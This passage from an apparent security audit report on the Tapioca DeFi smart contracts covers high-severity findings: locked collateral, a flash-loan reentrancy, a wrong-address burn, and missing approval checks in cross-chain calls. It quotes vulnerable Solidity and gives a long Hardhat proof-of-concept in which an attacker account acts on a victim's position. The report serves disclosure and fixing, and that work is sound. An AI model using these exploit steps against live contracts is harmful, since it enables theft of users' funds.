elapsedTime) /
1e18;
_totalBorrow.elastic += uint128(extraAmount);
+ uint256 fullAssetAmount = yieldBox.toAmount(
+ assetId,
+ _totalAsset.elastic,
+ false
+ ) + _totalBorrow.elastic;
//@audit utilization factors in accrual
+ utilization = fullAssetAmount == 0
+ ? 0
+ : (uint256(_totalBorrow.elastic) * UTILIZATION_PRECISION) /
+ fullAssetAmount;
...
[H-31] Collateral can be locked in BigBang contract when debtStartPoint
is nonzero
Submitted by zzzitron, also found by minhtrng, RedOneN, kutugu, bin2chen, 0xSky, 0xrugpull_detector, mojito_auditor, plainshift, KIntern_NA, carrotsmuggler, zzebra83, 0xRobocop, and chaduke
Following conditions have to be met for this issue to happen:
- This issue occurs when the BigBang market is not an ETH market.
Penrose.registerBigBang()
being called withdata
param wheredata.debtStartPoint
is nonzero.- The first borrower borrows using
BigBang.borrow()
, with function paramamount
(borrow amount) has to be less thandebtStartPoint
.
Now BigBang.getDebtRate()
will always revert and the collateral from the first borrower is locked, because BigBang.getDebtRate()
is used in BigBang._accrue()
, and BigBang._accrue()
is used in every function that involves totalBorrow like in BigBang.liquidate()
, BigBang.repay()
.
The reason for the revert is that in BigBang.getDebtRate()
, totalBorrow.elastic
which gets assigned to the variable _currentDebt
(line 186 BigBang.sol) will not be 0, and then on line 192 in the BigBang contract, the _currentDebt
is smaller than debtStartPoint
which causes the revert.
As a consequence the collateral is trapped as repay or liquidate requires to call accrue before hand.
Proof of Concept
The following gist contains a proof of concept to demonstrate this issue.
A non-ETH bigbang market (wbtc market) is deployed with Penrose::registerBigBang
. Note that the debtStartPoint
parameter in the init data is non-zero (set to be 1e18).
First we set up the primary eth market: Some weth is minted and deposited to the ETH market. Then some assets were borrowed against the collateral. This is necessary condition for this bug to happen, which is the ETH market to have some borrowed asset. However, this condition is very likely to be fulfilled, as the primary ETH market would be deployed before any non-eth market.
Now, an innocent user is adding collateral and borrows in the non-eth market (the wbtc market). The issue occurs when the user borrows less than the debtStartPoint
. If the user should borrow less than the debtStartPoint
, the BigBang::accrue
will revert and the collateral is trapped in this Market.
https://gist.github.com/zzzitron/a6d6377b73130819f15f1e5a2e2a2ba9
The bug happens here in the line 192 in the BigBang
.
179 /// @notice returns the current debt rate
180 function getDebtRate() public view returns (uint256) {
181 if (_isEthMarket) return penrose.bigBangEthDebtRate(); // default 0.5%
182 if (totalBorrow.elastic == 0) return minDebtRate;
183
184 uint256 _ethMarketTotalDebt = BigBang(penrose.bigBangEthMarket())
185 .getTotalDebt();
186 uint256 _currentDebt = totalBorrow.elastic;
187 uint256 _maxDebtPoint = (_ethMarketTotalDebt *
188 debtRateAgainstEthMarket) / 1e18;
189
190 if (_currentDebt >= _maxDebtPoint) return maxDebtRate;
191
192 uint256 debtPercentage = ((_currentDebt - debtStartPoint) *
193 DEBT_PRECISION) / (_maxDebtPoint - debtStartPoint);
194 uint256 debt = ((maxDebtRate - minDebtRate) * debtPercentage) /
195 DEBT_PRECISION +
196 minDebtRate;
197
Recommended Mitigation Steps
Consider adding a require statement to BigBang.borrow()
to make sure that the borrow amount has to be >= debtStartPoint
.
// BigBang
// borrow
247 require(amount >= debtStartPoint);
[H-32] Reentrancy in USDO.flashLoan()
, enabling an attacker to borrow unlimited USDO exceeding the max borrow limit
Submitted by zzzitron, also found by RedOneN, unsafesol, GalloDaSballo, kodyvim, ayeslick, andy, and dirk_y
Due to an reentrancy attack vector, an attacker can flashLoan an unlimited amount of USDO. For example the attacker can create a malicious contract as the receiver
, to execute the attack via the onFlashLoan
callback (line 94 USDO.sol).
The exploit works because USDO.flashLoan()
is missing a reentrancy protection (modifier).
As a result an unlimited amount of USDO can be borrowed by an attacker via the flashLoan exploit described above.
Proof of Concept
Here is a POC that shows an exploit:
https://gist.github.com/zzzitron/a121bc1ba8cc947d927d4629a90f7991
To run the exploit add this malicious contract into the contracts folder:
https://gist.github.com/zzzitron/8de3be7ddf674cc19a6272b59cfccde1
Recommended Mitigation Steps
Consider adding some reentrancy protection modifier to USDO.flashLoan()
.
0xRektora (Tapioca) confirmed, but disagreed with severity and commented:
Should be
High
severity, could really harm the protocol.
LSDan (Judge) increased severity to High
[H-33] BaseTOFTLeverageModule.sol
: leverageDownInternal
tries to burn tokens from wrong address
Submitted by carrotsmuggler, also found by xuwinnie
The function sendForLeverage
is used to interact with the USDO token on a different chain. Lets assume the origin of the tx is chain A, and the destination is chain B. The BaseTOFT contract sends a message through the lz endpoints to make a call in the destination chain.
The flow of control is as follows:
Chain A : user -call-> BaseTOFT.sol:sendForLeverage
-delegateCall-> BaseTOFTLeverageModule.sol:sendForLeverage
-call-> lzEndpointA
Chain B : lzEndpointB -call-> BaseTOFT.sol:_nonblockingLzReceive
-delegateCall-> BaseTOFTLeverageModule.sol:leverageDown
-delegateCall-> leverageDownInternal
For the last call to leverageDownInternal
, the msg.sender
is the lzEndpointB. This is because all the calls since then have been delegate calls, and thus msg.sender has not been able to change. We analyze the leverageDownInternal
function in this context.
function leverageDownInternal(
uint256 amount,
IUSDOBase.ILeverageSwapData memory swapData,
IUSDOBase.ILeverageExternalContractsData memory externalData,
IUSDOBase.ILeverageLZData memory lzData,
address leverageFor
) public payable {
_unwrap(address(this), amount);
The very first operation is to do an unwrap of the mTapiocaOFT token. This is done by calling _unwrap
defined in the same contract as shown.
function _unwrap(address _toAddress, uint256 _amount) private {
_burn(msg.sender, _amount);
if (erc20 == address(0)) {
_safeTransferETH(_toAddress, _amount);
} else {
IERC20(erc20).safeTransfer(_toAddress, _amount);
}
}
Here we see the contract is trying to burn tokens from the msg.sender
address. But the issue is in this context, the msg.sender
is the lzEndpoint on chain B who is doing the call, and they dont have any TOFT tokens there. Thus this call will revert.
The TOFT tokens are actually held within the same contract where the execution is happening. This is because in the leverageDown
function, we see the contract credit itself with TOFT tokens.
if (!credited) {
_creditTo(_srcChainId, address(this), amount);
creditedPackets[_srcChainId][_srcAddress][_nonce] = true;
}
Thus the tokens are actually present in address(this)
and not in msg.sender
. Thus the burn should be done from address(this)
and not msg.sender
. Thus all cross chain calls for this function will fail and revert.
Since this leads to broken functionality, this is considered a high severity issue.
Proof of Concept
Since no test exists for the sendForLeverage
function, no POC is provided. However the flow of control and detailed explanation is provided above.
Recommended Mitigation Steps
Run _burn(address(this),amount)
to burn the tokens instead of unwrapping. Then do the eth/erc20 transfer from the contract.
0xRektora (Tapioca) confirmed via duplicate issue 725
[H-34] BaseTOFT.sol
: retrieveFromStrategy
can be used to manipulate other user’s positions due to absent approval check
Submitted by carrotsmuggler, also found by xuwinnie, peakbolt, and 0x73696d616f
The function retrieveFromStrategy
is used to trigger a removal of TOFT tokens from a strategy on a different chain. The function takes the parameter from
, which is the account whose tokens will be retrieved.
The main issue is that anyone can call this function with any address passed to the from
parameter. There is no allowance check on the chain, allowing this operation. Let’s walk through the steps to see how this is executed.
BaseTOFT.sol
:retrieveFromStrategy
is called by the attacker with a from
address of the victim. This function calls the retrieveFromStrategy
function in the strategy module.
_executeModule(
Module.Strategy,
abi.encodeWithSelector(
BaseTOFTStrategyModule.retrieveFromStrategy.selector,
from,
amount,
share,
assetId,
lzDstChainId,
zroPaymentAddress,
airdropAdapterParam
),
false
);
BaseTOFTStrategyModule.sol
:retrieveFromStrategy
is called. This function packs some data and sends it forward to the lz endpoint. Point to note, is that no approval check is done for the msg.sender
of this whole setup yet.
bytes memory lzPayload = abi.encode(
PT_YB_RETRIEVE_STRAT,
LzLib.addressToBytes32(_from),
toAddress,
amount,
share,
assetId,
zroPaymentAddress
);
// lzsend(...)
After the message is sent, the lzendpoint on the receiving chain will call the TOFT contract again. Now, the msg.sender
is not the attacker, but is instead the lzendpoint! The endpoint call gets delegated to the strategyWithdraw
function in the Strategy module.
(
,
bytes32 from,
,
uint256 _amount,
uint256 _share,
uint256 _assetId,
address _zroPaymentAddress
) = abi.decode(
_payload,
(uint16, bytes32, bytes32, uint256, uint256, uint256, address)
);
Here we see the unpacking. note that the second unpacked value is put in the from
field. This is an address determined by the attacker and passed through the layerzero endpoints. The contract then calls _retrieveFromYieldBox
to take out tokens from the Yieldbox. They are then sent cross chain back to the from
address.
_retrieveFromYieldBox(_assetId, _amount, _share, _from, address(this));
_debitFrom(
address(this),
lzEndpoint.getChainId(),
LzLib.addressToBytes32(address(this)),
_amount
);
bytes memory lzSendBackPayload = _encodeSendPayload(
from,
_ld2sd(_amount)
);
_lzSend(
_srcChainId,
lzSendBackPayload,
payable(this),
_zroPaymentAddress,
"",
address(this).balance
);
Thus it is evident from this call that the YieldBox contract being called has no idea that the original sender was the attacker. Instead, for the YieldBox contract, the msg.sender
is the current TOFT contract. If users want to use the cross chain operations, they have to give allowance to the TOFT address. Thus we can assume that the victim has already given allowance to this address. Thus the YieldBox thinks the msg.sender
is the TOFT contract, who is allowed, and thus executes the operations.
Thus we have demonstrated that the attacker is able to call a function on the victim’s YieldBox position without being given any allowance by setting the victim’s address in the from
field. Thus this is a high severity issue since the victim’s tokens are withdrawn and send to a different chain without their consent.
Proof of Concept
Two lines from the test in test/TapiocaOFT.test.ts is changed to show this issue. Below is the full test for reference. The changed bits are marked with arrows.
it.only("should be able to deposit & withdraw from a strategy available on another layer", async () => {
const {
signer,
erc20Mock,
mintAndApprove,
bigDummyAmount,
utils,
randomUser, //@audit <------------------------------------- take other user address
} = await loadFixture(setupFixture)
const LZEndpointMock_chainID_0 = await utils.deployLZEndpointMock(
31337
)
const LZEndpointMock_chainID_10 = await utils.deployLZEndpointMock(
10
)
const tapiocaWrapper_0 = await utils.deployTapiocaWrapper()
const tapiocaWrapper_10 = await utils.deployTapiocaWrapper()
//Deploy YB and Strategies
const yieldBox0Data = await deployYieldBox(signer)
const yieldBox10Data = await deployYieldBox(signer)
const YieldBox_0 = yieldBox0Data.yieldBox
const YieldBox_10 = yieldBox10Data.yieldBox
{
const txData =
await tapiocaWrapper_0.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_0.address,
erc20Mock.address,
YieldBox_0.address,
31337,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT0 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_0.tapiocaOFTs(
(await tapiocaWrapper_0.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
// Deploy TapiocaOFT10
{
const txData =
await tapiocaWrapper_10.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_10.address,
erc20Mock.address,
YieldBox_10.address,
10,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT10 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_10.tapiocaOFTs(
(await tapiocaWrapper_10.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
const strategy0Data = await deployToftMockStrategy(
signer,
YieldBox_0.address,
tapiocaOFT0.address
)
const strategy10Data = await deployToftMockStrategy(
signer,
YieldBox_10.address,
tapiocaOFT10.address
)
const Strategy_0 = strategy0Data.tOFTStrategyMock
const Strategy_10 = strategy10Data.tOFTStrategyMock
// Setup
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
// Set trusted remotes
const dstChainId0 = 31337
const dstChainId10 = 10
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData("setTrustedRemote", [
dstChainId10,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT10.address, tapiocaOFT0.address]
),
]),
true
)
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData("setTrustedRemote", [
dstChainId0,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT0.address, tapiocaOFT10.address]
),
]),
true
)
// Link endpoints with addresses
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address
)
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address
)
//Register tokens on YB
await YieldBox_0.registerAsset(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
await YieldBox_10.registerAsset(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
const tapiocaOFT0Id = await YieldBox_0.ids(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
const tapiocaOFT10Id = await YieldBox_10.ids(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
expect(tapiocaOFT0Id.eq(1)).to.be.true
expect(tapiocaOFT10Id.eq(1)).to.be.true
//Test deposits on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256
)
let toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
await YieldBox_0.depositAsset(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toDepositShare
)
let yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
let vaultAmount = await Strategy_0.vaultAmount()
expect(yb0Balance.gt(bigDummyAmount)).to.be.true //bc of the yield
expect(vaultAmount.eq(bigDummyAmount)).to.be.true
//Test withdraw on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
const signerBalanceBeforeWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
const toWithdrawShare = await YieldBox_0.balanceOf(
signer.address,
tapiocaOFT0Id
)
await YieldBox_0.withdraw(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toWithdrawShare
)
const signerBalanceAfterWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
expect(
signerBalanceAfterWithdraw
.sub(signerBalanceBeforeWithdraw)
.gt(bigDummyAmount)
).to.be.true
vaultAmount = await Strategy_0.vaultAmount()
expect(vaultAmount.eq(0)).to.be.true
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(vaultAmount.eq(0)).to.be.true
const latestBalance = await Strategy_0.currentBalance()
expect(latestBalance.eq(0)).to.be.true
toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
const totals = await YieldBox_0.assetTotals(tapiocaOFT0Id)
expect(totals[0].eq(0)).to.be.true
expect(totals[1].eq(0)).to.be.true
//Cross chain deposit from TapiocaOFT_10 to Strategy_0
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await expect(
tapiocaOFT0.sendFrom(
signer.address,
10,
ethers.utils.defaultAbiCoder.encode(
["address"],
[signer.address]
),
bigDummyAmount,
{
refundAddress: signer.address,
zroPaymentAddress: ethers.constants.AddressZero,
adapterParams: "0x",
},
{
value: ethers.utils.parseEther("0.02"),
gasLimit: 2_000_000,
}
)
).to.not.be.reverted
const signerBalanceForTOFT10 = await tapiocaOFT10.balanceOf(
signer.address
)
expect(signerBalanceForTOFT10.eq(bigDummyAmount)).to.be.true
const asset = await YieldBox_0.assets(tapiocaOFT0Id)
expect(asset[2]).to.eq(Strategy_0.address)
await tapiocaOFT10.sendToStrategy(
signer.address,
signer.address,
bigDummyAmount,
toDepositShare,
1, //asset id
dstChainId0,
{
extraGasLimit: "2500000",
zroPaymentAddress: ethers.constants.AddressZero,
},
{
value: ethers.utils.parseEther("15"),
}
)
let strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.gt(0)).to.be.true
const yb0BalanceAfterCrossChainDeposit = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(yb0BalanceAfterCrossChainDeposit.gt(bigDummyAmount))
const airdropAdapterParams = ethers.utils.solidityPack(
["uint16", "uint", "uint", "address"],
[2, 800000, ethers.utils.parseEther("2"), tapiocaOFT0.address]
)
await YieldBox_0.setApprovalForAsset(
tapiocaOFT0.address,
tapiocaOFT0Id,
true
) //this should be done through Magnetar in the same tx, to avoid frontrunning
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
await hre.ethers.provider.send("hardhat_setBalance", [
randomUser.address,
ethers.utils.hexStripZeros(
ethers.utils.parseEther(String(20))._hex
),
]) //@audit <------------------------------------------- Fund user
await tapiocaOFT10
.connect(randomUser) //@audit <------------------------------------------- Call with other user instead of signer
.retrieveFromStrategy(
signer.address,
yb0BalanceAfterCrossChainDeposit,
toWithdrawShare,
1,
dstChainId0,
ethers.constants.AddressZero,
airdropAdapterParams,
{
value: ethers.utils.parseEther("10"),
}
)
strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.eq(0)).to.be.true
const signerBalanceAfterCrossChainWithdrawal =
await tapiocaOFT10.balanceOf(signer.address)
expect(signerBalanceAfterCrossChainWithdrawal.gt(bigDummyAmount)).to
.be.true
})
The only relevant change is that the function retrieveFromStrategy
is called from another address. The test passes, showing that an attacker, in this case randomUser
can influence the operations of the victim, the signer
.
Recommended Mitigation Steps
Add an allowance check for the msg.sender
in the strategyWithdraw
function.
0xRektora (Tapioca) confirmed, but disagreed with severity and commented:
Should be medium. Although annoying, attacker can’t steal the user’s asset, and will have to pay gas without profit for both chains in order to do this trick. Should be grouped in #1037.
Same answer as https://github.com/code-423n4/2023-07-tapioca-findings/issues/1009.
[H-35] BaseTOFT.sol
: removeCollateral
can be used to manipulate other user’s positions and steal tokens due to absent approval check
Submitted by carrotsmuggler, also found by KIntern_NA
The function removeCollateral
is used to trigger a removal of collateral on a different chain. The function takes the parameter from
, which is the account whose collateral will be sold. It also takes the parameter to
where these collateral tokens will be transferred to.
The main issue is that anyone can call this function with any address passed to the from
parameter. There is no allowance check on the chain, allowing this operation. Let’s walk through the steps to see how this is executed. Lets assume both from
and to
are the victim’s address for reasons explained at the end.
BaseTOFT.sol
:removeCollateral
is called by the attacker with a from
and to
address of the victim. This function calls the removeCollateral
function in the market module.
_executeModule(
Module.Market,
abi.encodeWithSelector(
BaseTOFTMarketModule.removeCollateral.selector,
from,
to,
lzDstChainId,
zroPaymentAddress,
withdrawParams,
removeParams,
approvals,
adapterParams
),
false
);
BaseTOFTMarketModule.sol
:removeCollateral
is called. This function packs some data and sends it forward to the lz endpoint. Point to note, is that no approval check is done for the msg.sender
of this whole setup yet.
bytes memory lzPayload = abi.encode(
PT_MARKET_REMOVE_COLLATERAL,
from,
to,
toAddress,
removeParams,
withdrawParams,
approvals
);
// lzsend(...)
After the message is sent, the lzendpoint on the receiving chain will call the TOFT contract again. Now, the msg.sender
is not the attacker, but is instead the lzendpoint! The endpoint call gets delegated to the remove
function in the Market module.
(
,
,
address to,
,
ITapiocaOFT.IRemoveParams memory removeParams,
ICommonData.IWithdrawParams memory withdrawParams,
ICommonData.IApproval[] memory approvals
) = abi.decode(
_payload,
(
uint16,
address,
address,
bytes32,
ITapiocaOFT.IRemoveParams,
ICommonData.IWithdrawParams,
ICommonData.IApproval[]
)
);
Here we see the unpacking. note that the third unpacked value is put in the to
field. This is an address determined by the attacker and passed through the layerzero endpoints. The contract then calls a market contract’s removeCollateral
function.
IMarket(removeParams.market).removeCollateral(
to,
to,
removeParams.share
);
Thus it is evident from this call that the Market contract being called has no idea that the original sender was the attacker. Instead, for the Market contract, the msg.sender
is the current TOFT contract. If users want to use the cross chain operations, they have to give allowance to the TOFT contract address. Thus we can assume that the victim has already given allowance to this address. Thus the market thinks the msg.sender
is the TOFT contract, who is allowed, and thus executes the operations.
Thus we have demonstrated that the attacker is able to call a function on the victim’s market position without being given any allowance by setting the victim’s address in the to
field. While it is a suspected bug that the removeCollateral
removes collateral from the to
field’s account and not the from
field, since both these parameters are determined by the attacker, the bug exists either way. Thus this is a high severity issue since the victim’s collateral is withdrawn, dropping their health factor.
Proof of Concept
A POC isnt provided since the test suite does not have a test for the removeCollateral
function. However the function retrieveFromStrategy
suffers from the same issue and has been addressed in a different report. The test for that function can be used to demonstrate this issue.
Two lines from the test in test/TapiocaOFT.test.ts is changed to show this issue. Below is the full test for reference. The changed bits are marked with arrows.
it.only("should be able to deposit & withdraw from a strategy available on another layer", async () => {
const {
signer,
erc20Mock,
mintAndApprove,
bigDummyAmount,
utils,
randomUser, //@audit <------------------------------------- take other user address
} = await loadFixture(setupFixture)
const LZEndpointMock_chainID_0 = await utils.deployLZEndpointMock(
31337
)
const LZEndpointMock_chainID_10 = await utils.deployLZEndpointMock(
10
)
const tapiocaWrapper_0 = await utils.deployTapiocaWrapper()
const tapiocaWrapper_10 = await utils.deployTapiocaWrapper()
//Deploy YB and Strategies
const yieldBox0Data = await deployYieldBox(signer)
const yieldBox10Data = await deployYieldBox(signer)
const YieldBox_0 = yieldBox0Data.yieldBox
const YieldBox_10 = yieldBox10Data.yieldBox
{
const txData =
await tapiocaWrapper_0.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_0.address,
erc20Mock.address,
YieldBox_0.address,
31337,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT0 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_0.tapiocaOFTs(
(await tapiocaWrapper_0.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
// Deploy TapiocaOFT10
{
const txData =
await tapiocaWrapper_10.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_10.address,
erc20Mock.address,
YieldBox_10.address,
10,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT10 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_10.tapiocaOFTs(
(await tapiocaWrapper_10.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
const strategy0Data = await deployToftMockStrategy(
signer,
YieldBox_0.address,
tapiocaOFT0.address
)
const strategy10Data = await deployToftMockStrategy(
signer,
YieldBox_10.address,
tapiocaOFT10.address
)
const Strategy_0 = strategy0Data.tOFTStrategyMock
const Strategy_10 = strategy10Data.tOFTStrategyMock
// Setup
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
// Set trusted remotes
const dstChainId0 = 31337
const dstChainId10 = 10
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData("setTrustedRemote", [
dstChainId10,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT10.address, tapiocaOFT0.address]
),
]),
true
)
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData("setTrustedRemote", [
dstChainId0,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT0.address, tapiocaOFT10.address]
),
]),
true
)
// Link endpoints with addresses
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address
)
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address
)
//Register tokens on YB
await YieldBox_0.registerAsset(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
await YieldBox_10.registerAsset(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
const tapiocaOFT0Id = await YieldBox_0.ids(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
const tapiocaOFT10Id = await YieldBox_10.ids(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
expect(tapiocaOFT0Id.eq(1)).to.be.true
expect(tapiocaOFT10Id.eq(1)).to.be.true
//Test deposits on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256
)
let toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
await YieldBox_0.depositAsset(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toDepositShare
)
let yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
let vaultAmount = await Strategy_0.vaultAmount()
expect(yb0Balance.gt(bigDummyAmount)).to.be.true //bc of the yield
expect(vaultAmount.eq(bigDummyAmount)).to.be.true
//Test withdraw on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
const signerBalanceBeforeWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
const toWithdrawShare = await YieldBox_0.balanceOf(
signer.address,
tapiocaOFT0Id
)
await YieldBox_0.withdraw(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toWithdrawShare
)
const signerBalanceAfterWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
expect(
signerBalanceAfterWithdraw
.sub(signerBalanceBeforeWithdraw)
.gt(bigDummyAmount)
).to.be.true
vaultAmount = await Strategy_0.vaultAmount()
expect(vaultAmount.eq(0)).to.be.true
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(vaultAmount.eq(0)).to.be.true
const latestBalance = await Strategy_0.currentBalance()
expect(latestBalance.eq(0)).to.be.true
toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
const totals = await YieldBox_0.assetTotals(tapiocaOFT0Id)
expect(totals[0].eq(0)).to.be.true
expect(totals[1].eq(0)).to.be.true
//Cross chain deposit from TapiocaOFT_10 to Strategy_0
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await expect(
tapiocaOFT0.sendFrom(
signer.address,
10,
ethers.utils.defaultAbiCoder.encode(
["address"],
[signer.address]
),
bigDummyAmount,
{
refundAddress: signer.address,
zroPaymentAddress: ethers.constants.AddressZero,
adapterParams: "0x",
},
{
value: ethers.utils.parseEther("0.02"),
gasLimit: 2_000_000,
}
)
).to.not.be.reverted
const signerBalanceForTOFT10 = await tapiocaOFT10.balanceOf(
signer.address
)
expect(signerBalanceForTOFT10.eq(bigDummyAmount)).to.be.true
const asset = await YieldBox_0.assets(tapiocaOFT0Id)
expect(asset[2]).to.eq(Strategy_0.address)
await tapiocaOFT10.sendToStrategy(
signer.address,
signer.address,
bigDummyAmount,
toDepositShare,
1, //asset id
dstChainId0,
{
extraGasLimit: "2500000",
zroPaymentAddress: ethers.constants.AddressZero,
},
{
value: ethers.utils.parseEther("15"),
}
)
let strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.gt(0)).to.be.true
const yb0BalanceAfterCrossChainDeposit = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(yb0BalanceAfterCrossChainDeposit.gt(bigDummyAmount))
const airdropAdapterParams = ethers.utils.solidityPack(
["uint16", "uint", "uint", "address"],
[2, 800000, ethers.utils.parseEther("2"), tapiocaOFT0.address]
)
await YieldBox_0.setApprovalForAsset(
tapiocaOFT0.address,
tapiocaOFT0Id,
true
) //this should be done through Magnetar in the same tx, to avoid frontrunning
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
await hre.ethers.provider.send("hardhat_setBalance", [
randomUser.address,
ethers.utils.hexStripZeros(
ethers.utils.parseEther(String(20))._hex
),
]) //@audit <------------------------------------------- Fund user
await tapiocaOFT10
.connect(randomUser) //@audit <------------------------------------------- Call with other user instead of signer
.retrieveFromStrategy(
signer.address,
yb0BalanceAfterCrossChainDeposit,
toWithdrawShare,
1,
dstChainId0,
ethers.constants.AddressZero,
airdropAdapterParams,
{
value: ethers.utils.parseEther("10"),
}
)
strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.eq(0)).to.be.true
const signerBalanceAfterCrossChainWithdrawal =
await tapiocaOFT10.balanceOf(signer.address)
expect(signerBalanceAfterCrossChainWithdrawal.gt(bigDummyAmount)).to
.be.true
})
The only relevant change is that the function retrieveFromStrategy
is called from another address. The test passes, showing that an attacker, in tthis case randomUser
can influence the operations of the victim, the signer
.
Recommended Mitigation Steps
Add an allowance check for the msg.sender
in the removeCollateral
function.
This attack can be summed up as “approvals are not checked when operating cross-chain.” There are several instances of this bug with varying levels of severity all reported by warden carrotsmuggler. Because they all use the same attack vector and all perform undesired/unrequested acts on behalf of other users, I have grouped them and rated this issue as high risk.
[H-36] twTAP.sol
: Reward tokens stored in index 0 can be stolen
Submitted by carrotsmuggler, also found by KIntern_NA
The function claimAndSendRewards
